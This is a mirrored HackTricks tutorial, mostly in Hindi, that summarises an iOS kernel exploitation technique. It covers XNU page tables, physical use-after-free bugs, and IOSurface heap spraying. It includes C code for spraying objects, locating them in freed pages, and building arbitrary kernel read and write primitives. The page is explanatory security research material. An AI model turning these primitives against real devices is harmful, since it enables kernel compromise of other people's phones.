mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-12 14:22:56 +00:00
203 lines
17 KiB
Markdown
203 lines
17 KiB
Markdown
# iOS Exploiting
|
|
|
|
## Physical use-after-free
|
|
|
|
यह [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) से पोस्ट का एक सारांश है, इसके अलावा इस तकनीक का उपयोग करके एक्सप्लॉइट के बारे में अधिक जानकारी [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) में मिल सकती है।
|
|
|
|
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
|
|
|
iOS पर उपयोगकर्ता प्रक्रियाओं के लिए **वर्चुअल मेमोरी एड्रेस स्पेस** **0x0 से 0x8000000000** तक फैला हुआ है। हालाँकि, ये पते सीधे भौतिक मेमोरी से नहीं जुड़े होते। इसके बजाय, **कर्नेल** **पृष्ठ तालिकाओं** का उपयोग करके वर्चुअल पते को वास्तविक **भौतिक पते** में अनुवाद करता है।
|
|
|
|
#### Levels of Page Tables in iOS
|
|
|
|
पृष्ठ तालिकाएँ तीन स्तरों में पदानुक्रमित होती हैं:
|
|
|
|
1. **L1 Page Table (Level 1)**:
|
|
* यहाँ प्रत्येक प्रविष्टि वर्चुअल मेमोरी की एक बड़ी रेंज का प्रतिनिधित्व करती है।
|
|
* यह **0x1000000000 बाइट्स** (या **256 जीबी**) वर्चुअल मेमोरी को कवर करती है।
|
|
2. **L2 Page Table (Level 2)**:
|
|
* यहाँ एक प्रविष्टि वर्चुअल मेमोरी के एक छोटे क्षेत्र का प्रतिनिधित्व करती है, विशेष रूप से **0x2000000 बाइट्स** (32 एमबी)।
|
|
* यदि L1 प्रविष्टि पूरे क्षेत्र को स्वयं मानचित्रित नहीं कर सकती है, तो यह L2 तालिका की ओर इशारा कर सकती है।
|
|
3. **L3 Page Table (Level 3)**:
|
|
* यह सबसे बारीक स्तर है, जहाँ प्रत्येक प्रविष्टि एकल **4 केबी** मेमोरी पृष्ठ को मानचित्रित करती है।
|
|
* यदि अधिक बारीक नियंत्रण की आवश्यकता है, तो L2 प्रविष्टि L3 तालिका की ओर इशारा कर सकती है।
|
|
|
|
#### Mapping Virtual to Physical Memory
|
|
|
|
* **Direct Mapping (Block Mapping)**:
|
|
* पृष्ठ तालिका में कुछ प्रविष्टियाँ सीधे **वर्चुअल पतों की एक रेंज** को एक निरंतर भौतिक पतों की रेंज से **मानचित्रित** करती हैं (जैसे एक शॉर्टकट)।
|
|
* **Pointer to Child Page Table**:
|
|
* यदि अधिक बारीक नियंत्रण की आवश्यकता है, तो एक स्तर (जैसे, L1) में एक प्रविष्टि अगले स्तर (जैसे, L2) पर एक **बाल पृष्ठ तालिका** की ओर इशारा कर सकती है।
|
|
|
|
#### Example: Mapping a Virtual Address
|
|
|
|
मान लीजिए कि आप वर्चुअल पता **0x1000000000** तक पहुँचने की कोशिश करते हैं:
|
|
|
|
1. **L1 Table**:
|
|
* कर्नेल इस वर्चुअल पते के लिए L1 पृष्ठ तालिका प्रविष्टि की जाँच करता है। यदि इसमें **L2 पृष्ठ तालिका की ओर इशारा करने वाला एक पॉइंटर** है, तो यह उस L2 तालिका पर जाता है।
|
|
2. **L2 Table**:
|
|
* कर्नेल अधिक विस्तृत मानचित्रण के लिए L2 पृष्ठ तालिका की जाँच करता है। यदि यह प्रविष्टि एक **L3 पृष्ठ तालिका** की ओर इशारा करती है, तो यह वहाँ आगे बढ़ता है।
|
|
3. **L3 Table**:
|
|
* कर्नेल अंतिम L3 प्रविष्टि को देखता है, जो वास्तविक मेमोरी पृष्ठ के **भौतिक पते** की ओर इशारा करती है।
|
|
|
|
#### Example of Address Mapping
|
|
|
|
यदि आप भौतिक पता **0x800004000** को L2 तालिका के पहले अनुक्रमांक में लिखते हैं, तो:
|
|
|
|
* वर्चुअल पते **0x1000000000** से **0x1002000000** भौतिक पतों **0x800004000** से **0x802004000** तक मानचित्रित होते हैं।
|
|
* यह L2 स्तर पर एक **ब्लॉक मैपिंग** है।
|
|
|
|
वैकल्पिक रूप से, यदि L2 प्रविष्टि L3 तालिका की ओर इशारा करती है:
|
|
|
|
* वर्चुअल पता रेंज **0x1000000000 -> 0x1002000000** में प्रत्येक 4 केबी पृष्ठ L3 तालिका में व्यक्तिगत प्रविष्टियों द्वारा मानचित्रित किया जाएगा।
|
|
|
|
### Physical use-after-free
|
|
|
|
एक **भौतिक उपयोग-के-बाद-फ्री** (UAF) तब होता है जब:
|
|
|
|
1. एक प्रक्रिया कुछ मेमोरी को **पढ़ने योग्य और लिखने योग्य** के रूप में **आवंटित** करती है।
|
|
2. **पृष्ठ तालिकाएँ** इस मेमोरी को एक विशिष्ट भौतिक पते पर मानचित्रित करने के लिए अपडेट की जाती हैं जिसे प्रक्रिया एक्सेस कर सकती है।
|
|
3. प्रक्रिया मेमोरी को **डिएक्लेट्स** (फ्री) करती है।
|
|
4. हालाँकि, एक **बग** के कारण, कर्नेल पृष्ठ तालिकाओं से मानचित्रण को **हटाना भूल जाता है**, हालाँकि यह संबंधित भौतिक मेमोरी को फ्री के रूप में चिह्नित करता है।
|
|
5. कर्नेल तब इस "फ्री" भौतिक मेमोरी को अन्य उद्देश्यों के लिए **फिर से आवंटित** कर सकता है, जैसे **कर्नेल डेटा**।
|
|
6. चूंकि मानचित्रण को नहीं हटाया गया था, प्रक्रिया अभी भी इस भौतिक मेमोरी को **पढ़ने और लिखने** में सक्षम है।
|
|
|
|
इसका मतलब है कि प्रक्रिया **कर्नेल मेमोरी के पृष्ठों** तक पहुँच सकती है, जिसमें संवेदनशील डेटा या संरचनाएँ हो सकती हैं, जिससे एक हमलावर को **कर्नेल मेमोरी में हेरफेर** करने की अनुमति मिलती है।
|
|
|
|
### Exploitation Strategy: Heap Spray
|
|
|
|
चूंकि हमलावर यह नियंत्रित नहीं कर सकता कि कौन से विशेष कर्नेल पृष्ठ फ्री मेमोरी को आवंटित किए जाएंगे, वे एक तकनीक का उपयोग करते हैं जिसे **हीप स्प्रे** कहा जाता है:
|
|
|
|
1. हमलावर कर्नेल मेमोरी में **IOSurface वस्तुओं की एक बड़ी संख्या** बनाता है।
|
|
2. प्रत्येक IOSurface वस्तु में इसके एक क्षेत्र में एक **जादुई मान** होता है, जिससे इसे पहचानना आसान होता है।
|
|
3. वे **फ्री किए गए पृष्ठों को स्कैन** करते हैं यह देखने के लिए कि क्या इनमें से कोई IOSurface वस्तु एक फ्री पृष्ठ पर उतरी है।
|
|
4. जब वे एक फ्री पृष्ठ पर एक IOSurface वस्तु पाते हैं, तो वे इसका उपयोग **कर्नेल मेमोरी को पढ़ने और लिखने** के लिए कर सकते हैं।
|
|
|
|
इस बारे में अधिक जानकारी [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) में है।
|
|
|
|
### Step-by-Step Heap Spray Process
|
|
|
|
1. **Spray IOSurface Objects**: हमलावर एक विशेष पहचानकर्ता ("जादुई मान") के साथ कई IOSurface वस्तुएँ बनाता है।
|
|
2. **Scan Freed Pages**: वे जाँच करते हैं कि क्या इनमें से कोई वस्तुएँ एक फ्री पृष्ठ पर आवंटित की गई हैं।
|
|
3. **Read/Write Kernel Memory**: IOSurface वस्तु में क्षेत्रों में हेरफेर करके, वे कर्नेल मेमोरी में **मनमाने पढ़ने और लिखने** की क्षमता प्राप्त करते हैं। इससे उन्हें:
|
|
* कर्नेल मेमोरी में **किसी भी 32-बिट मान** को पढ़ने के लिए एक क्षेत्र का उपयोग करने की अनुमति मिलती है।
|
|
* 64-बिट मान लिखने के लिए दूसरे क्षेत्र का उपयोग करने की अनुमति मिलती है, जिससे एक स्थिर **कर्नेल पढ़ने/लिखने की प्राइमिटिव** प्राप्त होती है।
|
|
|
|
IOSURFACE_MAGIC जादुई मान के साथ IOSurface वस्तुएँ उत्पन्न करें ताकि बाद में खोजा जा सके:
|
|
```c
|
|
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
|
if (*nClients >= 0x4000) return;
|
|
for (int i = 0; i < nSurfaces; i++) {
|
|
fast_create_args_t args;
|
|
lock_result_t result;
|
|
|
|
size_t size = IOSurfaceLockResultSize;
|
|
args.address = 0;
|
|
args.alloc_size = *nClients + 1;
|
|
args.pixel_format = IOSURFACE_MAGIC;
|
|
|
|
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
|
io_connect_t id = result.surface_id;
|
|
|
|
(*clients)[*nClients] = id;
|
|
*nClients = (*nClients) += 1;
|
|
}
|
|
}
|
|
```
|
|
**`IOSurface`** ऑब्जेक्ट्स को एक मुक्त भौतिक पृष्ठ में खोजें:
|
|
```c
|
|
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
|
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
|
int nSurfaceIDs = 0;
|
|
|
|
for (int i = 0; i < 0x400; i++) {
|
|
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
|
|
|
for (int j = 0; j < nPages; j++) {
|
|
uint64_t start = puafPages[j];
|
|
uint64_t stop = start + (pages(1) / 16);
|
|
|
|
for (uint64_t k = start; k < stop; k += 8) {
|
|
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
|
info.object = k;
|
|
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
|
if (self_task) *self_task = iosurface_get_receiver(k);
|
|
goto sprayDone;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
sprayDone:
|
|
for (int i = 0; i < nSurfaceIDs; i++) {
|
|
if (surfaceIDs[i] == info.surface) continue;
|
|
iosurface_release(client, surfaceIDs[i]);
|
|
}
|
|
free(surfaceIDs);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
### Achieving Kernel Read/Write with IOSurface
|
|
|
|
After achieving control over an IOSurface object in kernel memory (mapped to a freed physical page accessible from userspace), we can use it for **arbitrary kernel read and write operations**.
|
|
|
|
**Key Fields in IOSurface**
|
|
|
|
The IOSurface object has two crucial fields:
|
|
|
|
1. **Use Count Pointer**: Allows a **32-bit read**.
|
|
2. **Indexed Timestamp Pointer**: Allows a **64-bit write**.
|
|
|
|
By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities.
|
|
|
|
#### 32-बिट कर्नेल पढ़ें
|
|
|
|
To perform a read:
|
|
|
|
1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset.
|
|
2. Use the `get_use_count` method to read the value at that address.
|
|
```c
|
|
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
|
uint64_t args[1] = {surfaceID};
|
|
uint32_t size = 1;
|
|
uint64_t out = 0;
|
|
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
|
return (uint32_t)out;
|
|
}
|
|
|
|
uint32_t iosurface_kread32(uint64_t addr) {
|
|
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
|
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
|
uint32_t value = get_use_count(info.client, info.surface);
|
|
iosurface_set_use_count_pointer(info.object, orig);
|
|
return value;
|
|
}
|
|
```
|
|
#### 64-बिट कर्नेल लिखें
|
|
|
|
लिखने के लिए:
|
|
|
|
1. लक्षित पते पर **सूचीबद्ध टाइमस्टैम्प पॉइंटर** को ओवरराइट करें।
|
|
2. 64-बिट मान लिखने के लिए `set_indexed_timestamp` विधि का उपयोग करें।
|
|
```c
|
|
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
|
uint64_t args[3] = {surfaceID, 0, value};
|
|
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
|
}
|
|
|
|
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
|
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
|
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
|
set_indexed_timestamp(info.client, info.surface, value);
|
|
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
|
}
|
|
```
|
|
#### Exploit Flow Recap
|
|
|
|
1. **Trigger Physical Use-After-Free**: फ्री पेज फिर से उपयोग के लिए उपलब्ध हैं।
|
|
2. **Spray IOSurface Objects**: कर्नेल मेमोरी में एक अद्वितीय "जादुई मान" के साथ कई IOSurface ऑब्जेक्ट्स आवंटित करें।
|
|
3. **Identify Accessible IOSurface**: एक फ्रीड पेज पर एक IOSurface का पता लगाएं जिसे आप नियंत्रित करते हैं।
|
|
4. **Abuse Use-After-Free**: IOSurface ऑब्जेक्ट में पॉइंटर्स को संशोधित करें ताकि IOSurface विधियों के माध्यम से मनमाने **कर्नेल पढ़ने/लिखने** को सक्षम किया जा सके।
|
|
|
|
इन प्राइमिटिव्स के साथ, एक्सप्लॉइट नियंत्रित **32-बिट पढ़ने** और **64-बिट लिखने** की अनुमति देता है कर्नेल मेमोरी में। आगे के जेलब्रेक चरणों में अधिक स्थिर पढ़ने/लिखने के प्राइमिटिव्स शामिल हो सकते हैं, जिन्हें अतिरिक्त सुरक्षा (जैसे, नए arm64e उपकरणों पर PPL) को बायपास करने की आवश्यकता हो सकती है।
|